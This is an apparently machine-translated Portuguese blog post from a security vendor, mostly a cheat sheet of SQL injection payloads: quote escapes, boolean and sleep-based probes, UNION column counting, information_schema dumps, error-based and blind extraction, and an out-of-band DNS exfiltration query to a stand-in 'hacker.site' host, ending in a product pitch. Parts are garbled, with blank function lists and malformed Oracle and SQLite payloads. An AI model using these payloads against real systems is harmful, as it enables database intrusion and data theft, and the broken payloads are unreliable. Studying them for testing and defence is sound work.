Cargas úteis de injeção SQL: como as explorações SQLi funcionam
o que é uma carga útil de injeção SQL?
SQL Injection representa uma vulnerabilidade de segurança da web que permite que os invasores visualizem dados que não deveriam ser capazes, permitindo que o invasor interfira nas consultas que um aplicativo faz ao seu banco de dados injetando cargas úteis maliciosas de injeção de SQL.
Saiba mais sobre ataques de injeção SQL neste post do blog-o que são injeções SQL e como elas podem ser evitadas
neste post do blog, vamos abordar como verificar se um site é vulnerável ao SQLi e as diferentes cargas úteis de injeção SQL usadas para explorar diferentes tipos de vulnerabilidades de injeção SQL.
neste artigo:
confirmando SQLi: Detecção de ponto de entrada
para identificar se seus aplicativos são vulneráveis ao SQLi e você pode usar as cargas úteis a seguir, primeiro você precisa injetar dados na consulta sem quebrá-los. O primeiro passo é descobrir como escapar do contexto atual.
Tente um destes exemplos úteis:
'
"
`
')
")
`)
'))
"))
`))
Para resolver a consulta, você pode introduzir dados para a consulta anterior aceita os novos dados, ou você pode introduzir dados e adicionar um símbolo de comentário no final.
Esta fase será mais fácil se você pode ver mensagens de erro ou você pode identificar se /quando uma consulta está funcionando ou não.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
confirmando SQLi usando operações lógicas
você pode confirmar uma vulnerabilidade de injeção SQL executando uma operação lógica. Se você obtiver o resultado esperado, você confirmou o SQLi.
aqui está como parece na prática:
se o parâmetro GET ?username=John
retornar o mesmo conteúdo que ?username=John'
ou '1'='1
, você encontrou uma vulnerabilidade de injeção SQL.
este conceito também funciona para operações matemáticas:
se ?id=1
retornar o mesmo que ?id=2-1
, você encontrou uma vulnerabilidade de injeção SQL.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Confirmando a injeção de SQL com o Timing
Em alguns casos, ao tentar confirmar uma SQLi, não haverá uma mudança perceptível na página que você está testando. Isso indica um SQL cego, que pode ser identificado fazendo com que o banco de dados execute ações que terão um impacto no tempo que a página precisa carregar.
vamos adicionar à consulta SQL uma operação que levará mais tempo para ser executada, como executar o seguinte:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
As funções do sono não são sempre permitiu, então, fazer uma consulta de executar operações complexas que vai demorar vários segundos em vez disso.
identificar o Back-end
diferentes back-ends têm funções diferentes, que podem ser identificadas executando essas funções. Exemplos dessas funções são:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Baseado na união de Injeção de SQL Cargas
Detecção de número de colunas
consultas (o original, e o que nós alter) deve retornar o mesmo número de colunas. Mas como sabemos o número de colunas que a solicitação inicial está retornando? Geralmente usamos um dos dois métodos a seguir para obter o número de colunas:
Order/Group by
embora GROUP BY
e ORDER BY
tenham funcionalidades diferentes no SQL, ambos podem ser usados para determinar o número de colunas na consulta. Incrementar o número até obter um falso resposta:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNIÃO SELECIONE
No caso da UNIÃO, SELECIONAR, inserir um número crescente de valores nulos até que a consulta é válido:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Por que são nulos os valores utilizados? Há casos em que o tipo de colunas em ambos os lados da consulta deve ser o mesmo. Null é válido em todos os casos.
Extrair nomes de banco de dados, tabelas e nomes de coluna
Nos exemplos a seguir, vamos recuperar o nome de todos os bancos de dados, os nomes de tabela de um banco de dados e os nomes de coluna da tabela:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
O método utilizado para descobrir esses dados variam de banco de dados em si, mas é sempre a mesma metodologia.
cargas úteis de injeção SQL baseadas em erros
se a saída da consulta não estiver visível, mas você puder ver as mensagens de erro, poderá fazer com que essas mensagens de erro funcionem para você exfiltrar os dados do banco de dados.
Semelhante para a União com Base exploração exemplo, você pode copiar a base de dados:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL Injeções de Cargas
No caso do Cego de injeção de SQL, você não pode ver os resultados da consulta, nem os erros, mas você pode distinguir quando a consulta retornou um verdadeiro ou um falso resposta com base no conteúdo diferente na página.
você pode abusar desse comportamento para despejar o char do banco de dados por char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
erro Blind SQL Injection Payloads
como o nome indica, isso é muito semelhante ao Blind SQL injection, mas desta vez você não precisa distinguir entre uma resposta verdadeira ou falsa. Você verifique se há um erro no SQL query ou não, forçando um erro de SQL a cada vez que você adivinhar corretamente o char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Tempo Base de Injeção de SQL Cargas
Você pode usar esta técnica, principalmente quando você está prestes a explorar cego vulnerabilidades, que utiliza uma segunda consulta para acionar uma pesquisa de DNS, condicional erro, ou uma hora de atraso.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
consultas empilhadas
consultas empilhadas podem ser usadas para executar várias consultas em sucessão. Enquanto as consultas subsequentes são executadas, os resultados não são retornados ao aplicativo. Você pode usar essa técnica quando vulnerabilidades cegas em que usa uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou um atraso de tempo.
enquanto Oracle e MySQL não suportam consultas empilhadas, Microsoft e PostgreSQL os suportam: QUERY-1-HERE; QUERY-2-HERE
Fora da banda SQLi Cargas
Se nenhum dos métodos de exploração mencionados acima funcionou, você pode tentar fazer com que o banco de dados de evasão dos dados para um host externo controlado por você. Por exemplo, você pode usar consultas de DNS:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Detectar Injeção de SQL com a ajuda de Nexploit
NeuraLegion do Nexploit automatiza a detecção e correção de centenas de vulnerabilidades, incluindo a injeção de SQL.Ao integrar o DAST scans no início do processo de desenvolvimento, desenvolvedores e especialistas em segurança de aplicativos podem detectar vulnerabilidades precocemente e corrigi-las antes que elas apareçam na produção.
com o Nexploit, as varreduras são feitas em minutos e os resultados vêm com zero falsos positivos. Isso permite que os desenvolvedores adotem a solução e a usem durante todo o ciclo de vida do desenvolvimento.
escaneie qualquer aplicativo da web ou API para evitar vulnerabilidades de injeção SQL-Experimente o NeuraLegion Nexploit free.